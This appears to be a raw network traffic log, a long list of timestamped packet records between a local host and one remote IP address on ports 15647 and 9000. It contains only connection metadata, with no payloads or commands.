Dec 17, 2024 08:40:04.389486074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.481496096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.481564999 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.491522074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.509435892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.509593010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.601313114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.601387978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.629313946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.629385948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.629473925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.696475029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.749151945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.749283075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.793806076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.793976068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.915194035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.915329933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:04.994173050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:04.994271994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.026376009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.026592016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.035893917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.110251904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.110418081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.120520115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.120665073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.142987967 CET	9000	50009	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.143091917 CET	9000	50009	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.143255949 CET	50009	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.143309116 CET	50009	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.148094893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.148221970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.227998972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.228118896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.231719971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.231827021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.242753983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.259984016 CET	50012	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.264272928 CET	9000	50009	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.271014929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.271181107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.340518951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.340715885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.349672079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.353584051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.353822947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.381834030 CET	9000	50012	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.381947994 CET	50012	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.382118940 CET	50012	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.391732931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.391846895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.433614016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.433715105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.475471020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.475580931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.503300905 CET	9000	50012	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.554781914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.554898977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.583249092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.583429098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.673368931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.673482895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.674865961 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.703371048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.703516006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.705241919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.805875063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.823287010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.823344946 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.866864920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.866975069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.937357903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.937438011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:05.986694098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:05.986783981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.101635933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.101754904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.182580948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.182707071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.298626900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.299856901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.413732052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.413845062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.533705950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.533996105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.611860037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.611946106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.710155964 CET	9000	50012	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.710222006 CET	9000	50012	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.710402966 CET	50012	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.710402966 CET	50012	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.725936890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.726104975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.822778940 CET	50018	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.830380917 CET	9000	50012	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.845813036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.845880985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.845972061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.933674097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.933943033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.943309069 CET	9000	50018	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:06.943404913 CET	50018	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:06.943520069 CET	50018	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.037967920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.038167000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.063165903 CET	9000	50018	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.157932997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.158128977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.158394098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.306617022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.350095034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.350351095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.470488071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.470635891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.662367105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.662379980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.662486076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.763287067 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.933469057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.933542013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:07.974417925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.974428892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:07.974488974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.094144106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.094264984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.214440107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.214524984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.245884895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.245894909 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.246001005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.271985054 CET	9000	50018	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.272124052 CET	9000	50018	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.272182941 CET	50018	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.272217035 CET	50018	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.365741014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.365809917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.384682894 CET	50022	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.392045975 CET	9000	50018	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.406255007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.406337023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.477046967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.493880987 CET	50023	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.496416092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.504460096 CET	9000	50022	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.504537106 CET	50022	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.514647007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.526058912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.526427031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.526560068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.543493986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.559035063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.574748993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.591902018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.596858978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.597115993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.612354040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.613648891 CET	9000	50023	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.613739967 CET	50023	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.614479065 CET	50023	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.616404057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.616565943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.634175062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.634479046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.650671959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.663290977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.663460016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.677624941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.677722931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.678890944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.678961039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.694811106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.694958925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.711375952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.711796045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.732089043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.732327938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.734126091 CET	9000	50023	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.736289978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.753426075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.753953934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.754275084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.769812107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.770524025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.770919085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.786211014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.789247990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.789623976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.798648119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.798794985 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.818166971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.830096960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.845896959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.861888885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.877898932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.893909931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.910806894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.913535118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.913546085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.913650990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.918452024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.918462992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.918471098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.918474913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.918484926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.918682098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.925995111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:08.926228046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.946151972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.961796999 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.979013920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:08.998087883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.014076948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.031186104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.033199072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.033518076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.038152933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.038362026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.045672894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.045684099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.045983076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.073915958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.100158930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.126590014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.133872986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.133980036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.133989096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.133997917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134001970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134010077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134017944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134027004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134036064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134076118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134083986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134088993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134094000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134097099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134097099 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134097099 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134102106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134111881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134123087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134133101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134233952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134233952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134311914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134324074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134337902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134354115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134368896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134378910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134416103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134424925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134433985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134437084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134438038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.134459972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.134474993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.151068926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.151281118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.153321981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.155409098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.158308983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.159332037 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.165823936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.165972948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.166414022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.166485071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.188004017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.193828106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.194008112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.217715979 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.220024109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.240750074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.246598005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.246764898 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.254383087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.254553080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.256151915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.256251097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.256306887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.256340027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.264579058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.264599085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.264659882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.264659882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.272943020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.273036957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.273086071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.273086071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.281407118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.281507015 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.281725883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.281826973 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.289979935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.290018082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.290098906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.290098906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.298213959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.298304081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.298383951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.298479080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.306644917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.306725979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.306780100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.312659025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.313025951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.313365936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.313429117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.313498020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.313524008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.313707113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.318578005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.318665028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.318712950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.318723917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.326258898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.327145100 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.327694893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.337588072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.337943077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.346990108 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.347173929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.347340107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.347340107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.351131916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.351751089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.361351967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.361576080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.374316931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.374480009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.374528885 CET	49998	15647	192.168.2.5	92.255.57.75
